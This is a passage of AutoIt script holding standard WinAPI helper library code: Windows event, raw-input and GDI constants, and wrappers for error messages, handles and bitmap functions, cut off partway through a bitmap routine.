GLOBAL CONST $EVENT_SYSTEM_MOVESIZEEND = 11
GLOBAL CONST $EVENT_SYSTEM_CONTEXTHELPSTART = 12
GLOBAL CONST $EVENT_SYSTEM_CONTEXTHELPEND = 13
GLOBAL CONST $EVENT_SYSTEM_DRAGDROPSTART = 14
GLOBAL CONST $EVENT_SYSTEM_DRAGDROPEND = 15
GLOBAL CONST $EVENT_SYSTEM_DIALOGSTART = 16
GLOBAL CONST $EVENT_SYSTEM_DIALOGEND = 17
GLOBAL CONST $EVENT_SYSTEM_SCROLLINGSTART = 18
GLOBAL CONST $EVENT_SYSTEM_SCROLLINGEND = 19
GLOBAL CONST $EVENT_SYSTEM_SWITCHSTART = 20
GLOBAL CONST $EVENT_SYSTEM_SWITCHEND = 21
GLOBAL CONST $EVENT_SYSTEM_MINIMIZESTART = 22
GLOBAL CONST $EVENT_SYSTEM_MINIMIZEEND = 23
GLOBAL CONST $EVENT_SYSTEM_DESKTOPSWITCH = 32
GLOBAL CONST $EVENT_OBJECT_CREATE = 32768
GLOBAL CONST $EVENT_OBJECT_DESTROY = 32769
GLOBAL CONST $EVENT_OBJECT_SHOW = 32770
GLOBAL CONST $EVENT_OBJECT_HIDE = 32771
GLOBAL CONST $EVENT_OBJECT_REORDER = 32772
GLOBAL CONST $EVENT_OBJECT_FOCUS = 32773
GLOBAL CONST $EVENT_OBJECT_SELECTION = 32774
GLOBAL CONST $EVENT_OBJECT_SELECTIONADD = 32775
GLOBAL CONST $EVENT_OBJECT_SELECTIONREMOVE = 32776
GLOBAL CONST $EVENT_OBJECT_SELECTIONWITHIN = 32777
GLOBAL CONST $EVENT_OBJECT_STATECHANGE = 32778
GLOBAL CONST $EVENT_OBJECT_LOCATIONCHANGE = 32779
GLOBAL CONST $EVENT_OBJECT_NAMECHANGE = 32780
GLOBAL CONST $EVENT_OBJECT_DESCRIPTIONCHANGE = 32781
GLOBAL CONST $EVENT_OBJECT_VALUECHANGE = 32782
GLOBAL CONST $EVENT_OBJECT_PARENTCHANGE = 32783
GLOBAL CONST $EVENT_OBJECT_HELPCHANGE = 32784
GLOBAL CONST $EVENT_OBJECT_DEFACTIONCHANGE = 32785
GLOBAL CONST $EVENT_OBJECT_ACCELERATORCHANGE = 32786
GLOBAL CONST $EVENT_OBJECT_INVOKED = 32787
GLOBAL CONST $EVENT_OBJECT_TEXTSELECTIONCHANGED = 32788
GLOBAL CONST $EVENT_OBJECT_CONTENTSCROLLED = 32789
GLOBAL CONST $EVENT_MAX = 2147483647
GLOBAL CONST $WINEVENT_INCONTEXT = 4
GLOBAL CONST $WINEVENT_OUTOFCONTEXT = 0
GLOBAL CONST $WINEVENT_SKIPOWNPROCESS = 2
GLOBAL CONST $WINEVENT_SKIPOWNTHREAD = 1
GLOBAL CONST $TME_CANCEL = 2147483648
GLOBAL CONST $TME_HOVER = 1
GLOBAL CONST $TME_LEAVE = 2
GLOBAL CONST $TME_NONCLIENT = 16
GLOBAL CONST $TME_QUERY = 1073741824
GLOBAL CONST $DESKTOP_CREATEMENU = 4
GLOBAL CONST $DESKTOP_CREATEWINDOW = 2
GLOBAL CONST $DESKTOP_ENUMERATE = 64
GLOBAL CONST $DESKTOP_HOOKCONTROL = 8
GLOBAL CONST $DESKTOP_JOURNALPLAYBACK = 32
GLOBAL CONST $DESKTOP_JOURNALRECORD = 16
GLOBAL CONST $DESKTOP_READOBJECTS = 1
GLOBAL CONST $DESKTOP_SWITCHDESKTOP = 256
GLOBAL CONST $DESKTOP_WRITEOBJECTS = 128
GLOBAL CONST $DESKTOP_ALL_ACCESS = BITOR ($DESKTOP_CREATEMENU , $DESKTOP_CREATEWINDOW , $DESKTOP_ENUMERATE , $DESKTOP_HOOKCONTROL , $DESKTOP_JOURNALPLAYBACK , $DESKTOP_JOURNALRECORD , $DESKTOP_READOBJECTS , $DESKTOP_SWITCHDESKTOP , $DESKTOP_WRITEOBJECTS )
GLOBAL CONST $RIDEV_APPKEYS = 1024
GLOBAL CONST $RIDEV_CAPTUREMOUSE = 512
GLOBAL CONST $RIDEV_DEVNOTIFY = 8192
GLOBAL CONST $RIDEV_EXCLUDE = 16
GLOBAL CONST $RIDEV_EXINPUTSINK = 4096
GLOBAL CONST $RIDEV_INPUTSINK = 256
GLOBAL CONST $RIDEV_NOHOTKEYS = 512
GLOBAL CONST $RIDEV_NOLEGACY = 48
GLOBAL CONST $RIDEV_PAGEONLY = 32
GLOBAL CONST $RIDEV_REMOVE = 1
GLOBAL CONST $RID_HEADER = 268435461
GLOBAL CONST $RID_INPUT = 268435459
GLOBAL CONST $RIM_TYPEHID = 2
GLOBAL CONST $RIM_TYPEKEYBOARD = 1
GLOBAL CONST $RIM_TYPEMOUSE = 0
GLOBAL CONST $RIDI_DEVICENAME = 536870919
GLOBAL CONST $RIDI_DEVICEINFO = 536870923
GLOBAL CONST $RIDI_PREPARSEDDATA = 536870917
GLOBAL CONST $MOUSE_ATTRIBUTES_CHANGED = 4
GLOBAL CONST $MOUSE_MOVE_ABSOLUTE = 1
GLOBAL CONST $MOUSE_MOVE_RELATIVE = 0
GLOBAL CONST $MOUSE_VIRTUAL_DESKTOP = 2
GLOBAL CONST $RI_MOUSE_LEFT_BUTTON_DOWN = 1
GLOBAL CONST $RI_MOUSE_LEFT_BUTTON_UP = 2
GLOBAL CONST $RI_MOUSE_MIDDLE_BUTTON_DOWN = 16
GLOBAL CONST $RI_MOUSE_MIDDLE_BUTTON_UP = 32
GLOBAL CONST $RI_MOUSE_RIGHT_BUTTON_DOWN = 4
GLOBAL CONST $RI_MOUSE_RIGHT_BUTTON_UP = 8
GLOBAL CONST $RI_MOUSE_BUTTON_1_DOWN = $RI_MOUSE_LEFT_BUTTON_DOWN
GLOBAL CONST $RI_MOUSE_BUTTON_1_UP = $RI_MOUSE_LEFT_BUTTON_UP
GLOBAL CONST $RI_MOUSE_BUTTON_2_DOWN = $RI_MOUSE_RIGHT_BUTTON_DOWN
GLOBAL CONST $RI_MOUSE_BUTTON_2_UP = $RI_MOUSE_RIGHT_BUTTON_UP
GLOBAL CONST $RI_MOUSE_BUTTON_3_DOWN = $RI_MOUSE_MIDDLE_BUTTON_DOWN
GLOBAL CONST $RI_MOUSE_BUTTON_3_UP = $RI_MOUSE_MIDDLE_BUTTON_UP
GLOBAL CONST $RI_MOUSE_BUTTON_4_DOWN = 64
GLOBAL CONST $RI_MOUSE_BUTTON_4_UP = 128
GLOBAL CONST $RI_MOUSE_BUTTON_5_DOWN = 256
GLOBAL CONST $RI_MOUSE_BUTTON_5_UP = 512
GLOBAL CONST $RI_MOUSE_WHEEL = 1024
GLOBAL CONST $RI_KEY_BREAK = 1
GLOBAL CONST $RI_KEY_E0 = 2
GLOBAL CONST $RI_KEY_E1 = 4
GLOBAL CONST $RI_KEY_MAKE = 0
#Region Global Variables and Constants
GLOBAL CONST $FORMAT_MESSAGE_ALLOCATE_BUFFER = 256
GLOBAL CONST $FORMAT_MESSAGE_IGNORE_INSERTS = 512
GLOBAL CONST $FORMAT_MESSAGE_FROM_STRING = 1024
GLOBAL CONST $FORMAT_MESSAGE_FROM_HMODULE = 2048
GLOBAL CONST $FORMAT_MESSAGE_FROM_SYSTEM = 4096
GLOBAL CONST $FORMAT_MESSAGE_ARGUMENT_ARRAY = 8192
#EndRegion Global Variables and Constants
FUNC _WINAPI_BEEP ($IFREQ = 500 , $IDURATION = 1000 )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "Beep" , "dword" , $IFREQ , "dword" , $IDURATION )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_FORMATMESSAGE ($IFLAGS , $PSOURCE , $IMESSAGEID , $ILANGUAGEID , BYREF $PBUFFER , $ISIZE , $VARGUMENTS )
LOCAL $SBUFFERTYPE = "struct*"
IF ISSTRING ($PBUFFER ) THEN $SBUFFERTYPE = "wstr"
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "FormatMessageW" , "dword" , $IFLAGS , "struct*" , $PSOURCE , "dword" , $IMESSAGEID , "dword" , $ILANGUAGEID , $SBUFFERTYPE , $PBUFFER , "dword" , $ISIZE , "ptr" , $VARGUMENTS )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
IF $SBUFFERTYPE = "wstr" THEN $PBUFFER = $ARESULT [5 ]
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETERRORMESSAGE ($ICODE , $ILANGUAGE = 0 , CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "FormatMessageW" , "dword" , 4096 , "ptr" , 0 , "dword" , $ICODE , "dword" , $ILANGUAGE , "wstr" , "" , "dword" , 4096 , "ptr" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , STRINGREGEXPREPLACE ($ARET [5 ] , "[" & @LF & "," & @CR & "]*\Z" , "" ) )
ENDFUNC
FUNC _WINAPI_GETLASTERROR (CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "GetLastError" )
RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , $ARESULT [0 ] )
ENDFUNC
FUNC _WINAPI_GETLASTERRORMESSAGE (CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED )
LOCAL $ILASTERROR = _WINAPI_GETLASTERROR ()
LOCAL $TBUFFERPTR = DLLSTRUCTCREATE ("ptr" )
LOCAL $NCOUNT = _WINAPI_FORMATMESSAGE (BITOR ($FORMAT_MESSAGE_ALLOCATE_BUFFER , $FORMAT_MESSAGE_FROM_SYSTEM ) , 0 , $ILASTERROR , 0 , $TBUFFERPTR , 0 , 0 )
IF @ERROR THEN RETURN SETERROR (- @ERROR , @EXTENDED , "" )
LOCAL $STEXT = ""
LOCAL $PBUFFER = DLLSTRUCTGETDATA ($TBUFFERPTR , 1 )
IF $PBUFFER THEN
IF $NCOUNT > 0 THEN
LOCAL $TBUFFER = DLLSTRUCTCREATE ("wchar[" & ($NCOUNT + 1 ) & "]" , $PBUFFER )
$STEXT = DLLSTRUCTGETDATA ($TBUFFER , 1 )
IF STRINGRIGHT ($STEXT , 2 ) = @CRLF THEN $STEXT = STRINGTRIMRIGHT ($STEXT , 2 )
ENDIF
DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $PBUFFER )
ENDIF
RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , $STEXT )
ENDFUNC
FUNC _WINAPI_MESSAGEBEEP ($ITYPE = 1 )
LOCAL $ISOUND
SWITCH $ITYPE
CASE 1
$ISOUND = 0
CASE 2
$ISOUND = 16
CASE 3
$ISOUND = 32
CASE 4
$ISOUND = 48
CASE 5
$ISOUND = 64
CASE ELSE
$ISOUND = + 4294967295
ENDSWITCH
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "MessageBeep" , "uint" , $ISOUND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_MSGBOX ($IFLAGS , $STITLE , $STEXT )
BLOCKINPUT (0 )
MSGBOX ($IFLAGS , $STITLE , $STEXT & " " )
ENDFUNC
FUNC _WINAPI_SETLASTERROR ($IERRORCODE , CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED )
DLLCALL ("kernel32.dll" , "none" , "SetLastError" , "dword" , $IERRORCODE )
RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , NULL )
ENDFUNC
FUNC _WINAPI_SHOWERROR ($STEXT , $BEXIT = TRUE )
BLOCKINPUT (0 )
MSGBOX ($MB_SYSTEMMODAL , "Error" , $STEXT & " " )
IF $BEXIT THEN EXIT
ENDFUNC
FUNC _WINAPI_SHOWLASTERROR ($STEXT = "" , $BABORT = FALSE , $ILANGUAGE = 0 , CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED )
LOCAL $SERROR
LOCAL $ILASTERROR = _WINAPI_GETLASTERROR ()
WHILE 1
$SERROR = _WINAPI_GETERRORMESSAGE ($ILASTERROR , $ILANGUAGE )
IF @ERROR AND $ILANGUAGE THEN
$ILANGUAGE = 0
ELSE
EXITLOOP
ENDIF
WEND
IF STRINGSTRIPWS ($STEXT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STEXT &= @CRLF & @CRLF
ELSE
$STEXT = ""
ENDIF
_WINAPI_MSGBOX (BITOR (262144 , BITSHIFT (16 , + 4294967294 * (NOT $ILASTERROR ) ) ) , $ILASTERROR , $STEXT & $SERROR )
IF $ILASTERROR THEN
_WINAPI_SETLASTERROR ($ILASTERROR )
IF $BABORT THEN
EXIT $ILASTERROR
ENDIF
ENDIF
RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , 1 )
ENDFUNC
FUNC _WINAPI_SHOWMSG ($STEXT )
_WINAPI_MSGBOX ($MB_SYSTEMMODAL , "Information" , $STEXT )
ENDFUNC
FUNC __COMERRORFORMATING (BYREF $OCOMERROR , $SPREFIX = @TAB )
LOCAL CONST $STR_STRIPTRAILING = 2
LOCAL $SERROR = "COM Error encountered in " & @SCRIPTNAME & " (" & $OCOMERROR.Scriptline & ") :" & @CRLF & $SPREFIX & "Number " & @TAB & "= 0x" & HEX ($OCOMERROR.Number , 8 ) & " (" & $OCOMERROR.Number & ")" & @CRLF & $SPREFIX & "WinDescription" & @TAB & "= " & STRINGSTRIPWS ($OCOMERROR.WinDescription , $STR_STRIPTRAILING ) & @CRLF & $SPREFIX & "Description " & @TAB & "= " & STRINGSTRIPWS ($OCOMERROR.Description , $STR_STRIPTRAILING ) & @CRLF & $SPREFIX & "Source " & @TAB & "= " & $OCOMERROR.Source & @CRLF & $SPREFIX & "HelpFile " & @TAB & "= " & $OCOMERROR.HelpFile & @CRLF & $SPREFIX & "HelpContext " & @TAB & "= " & $OCOMERROR.HelpContext & @CRLF & $SPREFIX & "LastDllError " & @TAB & "= " & $OCOMERROR.LastDllError & @CRLF & $SPREFIX & "Retcode " & @TAB & "= 0x" & HEX ($OCOMERROR.retcode )
RETURN $SERROR
ENDFUNC
#Region Global Variables and Constants
GLOBAL CONST $DUPLICATE_CLOSE_SOURCE = 1
GLOBAL CONST $DUPLICATE_SAME_ACCESS = 2
GLOBAL CONST $OBJ_BITMAP = 7
GLOBAL CONST $OBJ_BRUSH = 2
GLOBAL CONST $OBJ_COLORSPACE = 14
GLOBAL CONST $OBJ_DC = 3
GLOBAL CONST $OBJ_ENHMETADC = 12
GLOBAL CONST $OBJ_ENHMETAFILE = 13
GLOBAL CONST $OBJ_EXTPEN = 11
GLOBAL CONST $OBJ_FONT = 6
GLOBAL CONST $OBJ_MEMDC = 10
GLOBAL CONST $OBJ_METADC = 4
GLOBAL CONST $OBJ_METAFILE = 9
GLOBAL CONST $OBJ_PAL = 5
GLOBAL CONST $OBJ_PEN = 1
GLOBAL CONST $OBJ_REGION = 8
GLOBAL CONST $NULL_BRUSH = 5
GLOBAL CONST $NULL_PEN = 8
GLOBAL CONST $BLACK_BRUSH = 4
GLOBAL CONST $DKGRAY_BRUSH = 3
GLOBAL CONST $DC_BRUSH = 18
GLOBAL CONST $GRAY_BRUSH = 2
GLOBAL CONST $HOLLOW_BRUSH = $NULL_BRUSH
GLOBAL CONST $LTGRAY_BRUSH = 1
GLOBAL CONST $WHITE_BRUSH = 0
GLOBAL CONST $BLACK_PEN = 7
GLOBAL CONST $DC_PEN = 19
GLOBAL CONST $WHITE_PEN = 6
GLOBAL CONST $ANSI_FIXED_FONT = 11
GLOBAL CONST $ANSI_VAR_FONT = 12
GLOBAL CONST $DEVICE_DEFAULT_FONT = 14
GLOBAL CONST $DEFAULT_GUI_FONT = 17
GLOBAL CONST $OEM_FIXED_FONT = 10
GLOBAL CONST $SYSTEM_FONT = 13
GLOBAL CONST $SYSTEM_FIXED_FONT = 16
GLOBAL CONST $DEFAULT_PALETTE = 15
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_CLOSEHANDLE ($HOBJECT )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HOBJECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DELETEOBJECT ($HOBJECT )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "bool" , "DeleteObject" , "handle" , $HOBJECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_DUPLICATEHANDLE ($HSOURCEPROCESSHANDLE , $HSOURCEHANDLE , $HTARGETPROCESSHANDLE , $IDESIREDACCESS , $IINHERITHANDLE , $IOPTIONS )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "DuplicateHandle" , "handle" , $HSOURCEPROCESSHANDLE , "handle" , $HSOURCEHANDLE , "handle" , $HTARGETPROCESSHANDLE , "handle*" , 0 , "dword" , $IDESIREDACCESS , "bool" , $IINHERITHANDLE , "dword" , $IOPTIONS )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [4 ]
ENDFUNC
FUNC _WINAPI_GETCURRENTOBJECT ($HDC , $ITYPE )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "handle" , "GetCurrentObject" , "handle" , $HDC , "uint" , $ITYPE )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETCURRENTPROCESS ()
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetCurrentProcess" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETOBJECT ($HOBJECT , $ISIZE , $POBJECT )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "GetObjectW" , "handle" , $HOBJECT , "int" , $ISIZE , "struct*" , $POBJECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETOBJECTINFOBYHANDLE ($HOBJECT )
LOCAL $TAGPUBLIC_OBJECT_BASIC_INFORMATION = "ulong Attributes;ulong GrantedAcess;ulong HandleCount;ulong PointerCount;ulong Reserved[10]"
LOCAL $TPOBI = DLLSTRUCTCREATE ($TAGPUBLIC_OBJECT_BASIC_INFORMATION )
LOCAL $ARET = DLLCALL ("ntdll.dll" , "long" , "ZwQueryObject" , "handle" , $HOBJECT , "uint" , 0 , "struct*" , $TPOBI , "ulong" , DLLSTRUCTGETSIZE ($TPOBI ) , "ptr" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
LOCAL $ARESULT [4 ]
FOR $I = 0 TO 3
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TPOBI , $I + 1 )
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_GETOBJECTNAMEBYHANDLE ($HOBJECT )
LOCAL $TAGUNICODE_STRING = "struct;ushort Length;ushort MaximumLength;ptr Buffer;endstruct"
LOCAL $TAGPUBLIC_OBJECT_TYPE_INFORMATION = "struct;" & $TAGUNICODE_STRING & ";ulong Reserved[22];endstruct"
LOCAL $TPOTI = DLLSTRUCTCREATE ($TAGPUBLIC_OBJECT_TYPE_INFORMATION & ";byte[32]" )
LOCAL $ARET = DLLCALL ("ntdll.dll" , "long" , "ZwQueryObject" , "handle" , $HOBJECT , "uint" , 2 , "struct*" , $TPOTI , "ulong" , DLLSTRUCTGETSIZE ($TPOTI ) , "ulong*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
LOCAL $PDATA = DLLSTRUCTGETDATA ($TPOTI , 3 )
IF NOT $PDATA THEN RETURN SETERROR (11 , 0 , "" )
RETURN _WINAPI_GETSTRING ($PDATA )
ENDFUNC
FUNC _WINAPI_GETOBJECTTYPE ($HOBJECT )
LOCAL $ARET = DLLCALL ("gdi32.dll" , "dword" , "GetObjectType" , "handle" , $HOBJECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETSTDHANDLE ($ISTDHANDLE )
IF $ISTDHANDLE < 0 OR $ISTDHANDLE > 2 THEN RETURN SETERROR (2 , 0 , + 4294967295 )
LOCAL CONST $AHANDLE [3 ] = [+ 4294967286 , + 4294967285 , + 4294967284 ]
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "GetStdHandle" , "dword" , $AHANDLE [$ISTDHANDLE ] )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_GETSTOCKOBJECT ($IOBJECT )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "GetStockObject" , "int" , $IOBJECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SELECTOBJECT ($HDC , $HGDIOBJ )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDC , "handle" , $HGDIOBJ )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETHANDLEINFORMATION ($HOBJECT , $IMASK , $IFLAGS )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetHandleInformation" , "handle" , $HOBJECT , "dword" , $IMASK , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
#EndRegion Public Functions
#Region Global Variables and Constants
GLOBAL CONST $TAGBITMAP = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct"
GLOBAL CONST $TAGBITMAPV5HEADER = "struct;dword bV5Size;long bV5Width;long bV5Height;ushort bV5Planes;ushort bV5BitCount;dword bV5Compression;dword bV5SizeImage;long bV5XPelsPerMeter;long bV5YPelsPerMeter;dword bV5ClrUsed;dword bV5ClrImportant;dword bV5RedMask;dword bV5GreenMask;dword bV5BlueMask;dword bV5AlphaMask;dword bV5CSType;int bV5Endpoints[9];dword bV5GammaRed;dword bV5GammaGreen;dword bV5GammaBlue;dword bV5Intent;dword bV5ProfileData;dword bV5ProfileSize;dword bV5Reserved;endstruct"
GLOBAL CONST $TAGDIBSECTION = $TAGBITMAP & ";" & $TAGBITMAPINFOHEADER & ";dword dsBitfields[3];ptr dshSection;dword dsOffset"
GLOBAL CONST $TMPF_FIXED_PITCH = 1
GLOBAL CONST $TMPF_VECTOR = 2
GLOBAL CONST $TMPF_TRUETYPE = 4
GLOBAL CONST $TMPF_DEVICE = 8
GLOBAL CONST $__WINAPICONSTANT_FW_NORMAL = 400
GLOBAL CONST $__WINAPICONSTANT_DEFAULT_CHARSET = 1
GLOBAL CONST $__WINAPICONSTANT_OUT_DEFAULT_PRECIS = 0
GLOBAL CONST $__WINAPICONSTANT_CLIP_DEFAULT_PRECIS = 0
GLOBAL CONST $__WINAPICONSTANT_DEFAULT_QUALITY = 0
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_BITBLT ($HDESTDC , $IXDEST , $IYDEST , $IWIDTH , $IHEIGHT , $HSRCDC , $IXSRC , $IYSRC , $IROP )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "bool" , "BitBlt" , "handle" , $HDESTDC , "int" , $IXDEST , "int" , $IYDEST , "int" , $IWIDTH , "int" , $IHEIGHT , "handle" , $HSRCDC , "int" , $IXSRC , "int" , $IYSRC , "dword" , $IROP )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_COMBINERGN ($HRGNDEST , $HRGNSRC1 , $HRGNSRC2 , $ICOMBINEMODE )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "CombineRgn" , "handle" , $HRGNDEST , "handle" , $HRGNSRC1 , "handle" , $HRGNSRC2 , "int" , $ICOMBINEMODE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_COPYBITMAP ($HBITMAP )
$HBITMAP = _WINAPI_COPYIMAGE ($HBITMAP , 0 , 0 , 0 , 8192 )
RETURN SETERROR (@ERROR , @EXTENDED , $HBITMAP )
ENDFUNC
FUNC _WINAPI_COPYIMAGE ($HIMAGE , $ITYPE = 0 , $IXDESIREDPIXELS = 0 , $IYDESIREDPIXELS = 0 , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CopyImage" , "handle" , $HIMAGE , "uint" , $ITYPE , "int" , $IXDESIREDPIXELS , "int" , $IYDESIREDPIXELS , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CREATEANDBITMAP ($HBITMAP )
LOCAL $IERROR = 0 , $HDIB = 0
$HBITMAP = _WINAPI_COPYBITMAP ($HBITMAP )
IF NOT $HBITMAP THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
DO
LOCAL $ATDIB [2 ]
$ATDIB [0 ] = DLLSTRUCTCREATE ($TAGDIBSECTION )
IF (NOT _WINAPI_GETOBJECT ($HBITMAP , DLLSTRUCTGETSIZE ($ATDIB [0 ] ) , $ATDIB [0 ] ) ) OR (DLLSTRUCTGETDATA ($ATDIB [0 ] , "bmBitsPixel" ) <> 32 ) OR (DLLSTRUCTGETDATA ($ATDIB [0 ] , "biCompression" ) ) THEN
$IERROR = 10
EXITLOOP
ENDIF
$ATDIB [1 ] = DLLSTRUCTCREATE ($TAGBITMAP )
$HDIB = _WINAPI_CREATEDIB (DLLSTRUCTGETDATA ($ATDIB [0 ] , "bmWidth" ) , DLLSTRUCTGETDATA ($ATDIB [0 ] , "bmHeight" ) , 1 )
IF NOT _WINAPI_GETOBJECT ($HDIB , DLLSTRUCTGETSIZE ($ATDIB [1 ] ) , $ATDIB [1 ] ) THEN
$IERROR = 11
EXITLOOP
ENDIF
LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "ptr" , __ANDPROC () , "ptr" , 0 , "uint" , 0 , "wparam" , DLLSTRUCTGETPTR ($ATDIB [0 ] ) , "lparam" , DLLSTRUCTGETPTR ($ATDIB [1 ] ) )
IF @ERROR THEN
$IERROR = @ERROR
EXITLOOP
ENDIF
IF NOT $ARET [0 ] THEN
$IERROR = 12
EXITLOOP
ENDIF
$IERROR = 0
UNTIL 1
_WINAPI_DELETEOBJECT ($HBITMAP )
IF $IERROR THEN
IF $HDIB THEN
_WINAPI_DELETEOBJECT ($HDIB )
ENDIF
$HDIB = 0
ENDIF
RETURN SETERROR ($IERROR , 0 , $HDIB )
ENDFUNC
FUNC _WINAPI_CREATEBITMAP ($IWIDTH , $IHEIGHT , $IPLANES = 1 , $IBITSPERPEL = 1 , $PBITS = 0 )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateBitmap" , "int" , $IWIDTH , "int" , $IHEIGHT , "uint" , $IPLANES , "uint" , $IBITSPERPEL , "struct*" , $PBITS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CREATECOMPATIBLEBITMAP ($HDC , $IWIDTH , $IHEIGHT )
LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateCompatibleBitmap" , "handle" , $HDC , "int" , $IWIDTH , "int" , $IHEIGHT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CREATEDIB ($IWIDTH , $IHEIGHT , $IBITSPERPEL = 32 , $TCOLORTABLE = 0 , $ICOLORCOUNT = 0 )
LOCAL $ARGBQ [2 ] , $ICOLORS , $TAGRGBQ
SWITCH $IBITSPERPEL
CASE 1
$ICOLORS = 2
CASE 4
$ICOLORS = 16
CASE 8
$ICOLORS = 256
CASE ELSE
$ICOLORS = 0
ENDSWITCH
IF $ICOLORS THEN
IF NOT ISDLLSTRUCT ($TCOLORTABLE ) THEN
SWITCH $IBITSPERPEL
CASE 1
$ARGBQ [0 ] = 0
$ARGBQ [1 ] = 16777215
$TCOLORTABLE = _WINAPI_CREATEDIBCOLORTABLE ($ARGBQ )
CASE ELSE
ENDSWITCH
ELSE
